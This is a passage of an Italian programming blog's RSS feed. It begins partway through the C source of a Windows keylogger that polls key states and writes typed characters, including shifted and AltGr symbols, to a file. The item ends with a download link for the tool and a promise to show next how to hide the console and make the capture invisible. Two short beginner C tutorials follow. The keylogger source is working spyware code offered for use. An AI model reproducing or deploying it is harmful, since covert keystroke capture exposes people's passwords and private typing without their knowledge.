      key <span style="color: #339933;">-=</span> <span style="color: #0000dd;">112</span><span style="color: #339933;">;</span>
      fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[%d]&quot;</span><span style="color: #339933;">,</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   
      key<span style="color: #339933;">=</span>tmp<span style="color: #339933;">;</span> 
   <span style="color: #009900;">&#125;</span>
   <span style="color: #666666; font-style: italic;">// Alfabeto</span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>key <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">65</span> <span style="color: #339933;">&amp;&amp;</span> key <span style="color: #339933;">&lt;=</span> <span style="color: #0000dd;">90</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
             <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span>VK_CAPITAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000dd;">1</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span>   <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
             <span style="color: #666666; font-style: italic;">// Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo</span>
             fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,&amp;</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>          
&nbsp;
             <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
             <span style="color: #666666; font-style: italic;">// Se no memorizziamola in minuscolo</span>
             key <span style="color: #339933;">+=</span> <span style="color: #0000dd;">32</span><span style="color: #339933;">;</span>
             fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,&amp;</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>         
             key <span style="color: #339933;">=</span> tmp<span style="color: #339933;">;</span>
             <span style="color: #009900;">&#125;</span>                       
   <span style="color: #009900;">&#125;</span>   
   <span style="color: #666666; font-style: italic;">// TASTI numerici   </span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  
       <span style="color: #666666; font-style: italic;">// Se è premuto shift ... </span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">48</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;=&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">49</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">50</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>break<span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">51</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;£&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">52</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;$&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">53</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">54</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>        
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">55</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>               
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">56</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;(&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">57</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>                                      
      <span style="color: #009900;">&#125;</span>                         
&nbsp;
   <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>   
   <span style="color: #666666; font-style: italic;">// Se no stampa i numeri   </span>
       <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>key <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">48</span> <span style="color: #339933;">&amp;&amp;</span> key <span style="color: #339933;">&lt;=</span> <span style="color: #0000dd;">57</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>         
       fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,&amp;</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>      
       <span style="color: #009900;">&#125;</span>     
    <span style="color: #009900;">&#125;</span> 
&nbsp;
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
   <span style="color: #666666; font-style: italic;">// Se è premuto Shift ...</span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">192</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ç&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">191</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;§&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>       
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">222</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;°&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">187</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;*&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>       
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">186</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;é&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>                                       
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">188</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">190</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;:&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">189</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;_&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">219</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;?&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">221</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;^&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">226</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">220</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;|&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>           
&nbsp;
      <span style="color: #009900;">&#125;</span>  
&nbsp;
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span>  <span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">18</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> 
    GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">18</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span> GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">162</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span>  GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">162</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span>
    <span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">165</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">165</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">// Se tiene premuto ALT GR</span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">192</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;@&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">222</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;#&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">187</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">186</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>             
      <span style="color: #009900;">&#125;</span>                           
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">// Se no</span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">192</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ò&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">191</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ù&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">222</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;à&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">187</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">186</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;è&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">188</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;,&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">190</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>        
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">189</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">219</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">221</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ì&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">226</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&lt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">220</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;\<span style="color: #000099; font-weight: bold;">\&quot;</span>); break;                                     
      }     
    }
&nbsp;
   fclose(keylog);
}
&nbsp;
int main(){
&nbsp;
&nbsp;
&nbsp;
    char * file = &quot;</span>prova.<span style="color: #202020;">txt</span><span style="color: #ff0000;">&quot;;
    int i;
    while(1){       
          for(i=8;i&lt;=1000;i++){             
             if(GetAsyncKeyState(i)==-32767){                                             
                                reg(i,file);                                                         
              }          
          }          
    }
&nbsp;
    return 1;
}</span></pre></div></div>

<p><a href="http://www.iosmanetto.it/progetti/cpp/keylogger2.rar">Download Keylogger windows</a></p>
<p>Nel prossimo articolo spiegherò come nascondere la console e per rendere invisibile il processo di intercettamento</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/keylogger-windows-in-c/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Compiliamo il nostro primo programma in C</title>
		<link>http://www.iosmanetto.it/cpp/compiliamo-il-nostro-primo-programma-in-c/</link>
		<comments>http://www.iosmanetto.it/cpp/compiliamo-il-nostro-primo-programma-in-c/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 14:05:41 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[compilatore]]></category>
		<category><![CDATA[Hello Word]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=46</guid>
		<description><![CDATA[In circolazione esistono diversi compilatori per c/c++ . Personalmente uso Bloodshed Dev-C++, e devo dire che mi trovo abbastanza bene. Per scaricare Dev-C++ andate a questo indirizzo : download Scorrete la pagina fino a Downloads. Individuata la versione, fate click su SourceForge. L&#8217;installazione è abbastanza semplice, non occorre avere grandi conoscenze . Se qualcuno di [...]]]></description>
			<content:encoded><![CDATA[<p>In circolazione esistono diversi compilatori per c/c++ . Personalmente uso Bloodshed Dev-C++, e devo dire che mi trovo abbastanza bene.</p>
<p>Per scaricare <strong>Dev-C++</strong> andate a questo indirizzo : <a href="http://www.bloodshed.net/dev/devcpp.html">download</a></p>
<p>Scorrete la pagina fino a Downloads. Individuata la versione, fate click su SourceForge.<span id="more-46"></span></p>
<p>L&#8217;installazione è abbastanza semplice, non occorre avere grandi conoscenze . Se qualcuno di voi ha qualche problema sono a vostra completa disposizione.</p>
<p>L&#8217;ultima versione del programma , la 4.9.9.2 , si presenta in questa veste grafica .</p>
<p><img class="aligncenter size-full wp-image-48" title="devc" src="http://www.iosmanetto.it/wp-content/uploads/2009/12/devc.jpg" alt="devc" width="515" height="418" /></p>
<p>Il primo passo da fare è quello di creare un nuovo file . Andiamo su <em>File -&gt; Nuovo -&gt; File Sorgente</em></p>
<p>Il codice seguente è un piccolo programmino che stampa a video &#8220;<strong>Hello Word</strong>&#8221; . La struttura è molto semplice e comprensibile . Se avete qualche problema leggete i commenti accanto.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">// Funzione invocata quando il programma si avvia</span>
<span style="color: #000066;">printf</span> <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello Word&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Funzione per stampare a video una stringa</span>
getch<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Aspetta che l'utente preme un tasto</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Per finire scriviamo il codice su devC++ , salviamo il file come hello.c e  andiamo in alto su <em>Esegui -&gt; Compila &amp; Esegui</em> o premete semplicemente F9 .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/compiliamo-il-nostro-primo-programma-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Piccola introduzione al C</title>
		<link>http://www.iosmanetto.it/cpp/c-introduzione/</link>
		<comments>http://www.iosmanetto.it/cpp/c-introduzione/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 14:28:06 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[introduzione]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=34</guid>
		<description><![CDATA[Con questo articolo, ci avviamo allo studio del C, uno dei linguaggi più flessibili e efficienti che possa esistere . Il C è un linguaggio di medio livello. I linguaggi ad alto livello sono il vb ( Visual Basic ) , il PHP , il Pascal e tutti quei linguaggi che contengono istruzioni vicine al [...]]]></description>
			<content:encoded><![CDATA[<p>Con questo articolo, ci avviamo allo studio del <strong>C</strong>, uno dei linguaggi più flessibili e efficienti che possa esistere .<br />
Il C è un linguaggio di medio livello. I linguaggi ad <strong>alto livello</strong> sono il vb ( Visual Basic ) , il PHP , il Pascal e tutti quei linguaggi che contengono istruzioni vicine al modo di pensare umano . Cio&#8217; permette di ridurre notevolmente il tempo per la realizzazione degli algoritmi . Un linguaggio a<strong> Basso Livello</strong> è molto piu&#8217; difficile da gestire e analizzare,  perchè è piu&#8217; vicino al linguaggio macchina .  Di solito quest&#8217;ultimo viene usato per realizzare applicazioni dove lo spreco di memoria non accettabile. Ricordiamo che programmare a Basso Livello, vuol dire avere il pieno controllo della CPU e della memoria  .<br />
<span id="more-34"></span><br />
<strong>Perchè il C è un linguaggio intermedio ?</strong> Il C contiene istruzioni sia ad Alto e a Basso livello . E&#8217; facile da programmare, perchè molte istruzioni sono ad Alto livello, ed è anche flessibile e potente  perchè molte istruzioni sono a Basso Livello . Un mix davvero interessante.</p>
<p>Nel prossimo articolo installeremo il compilatore , necessario per tradurre il codice C  in linguaggio macchina.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/c-introduzione/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

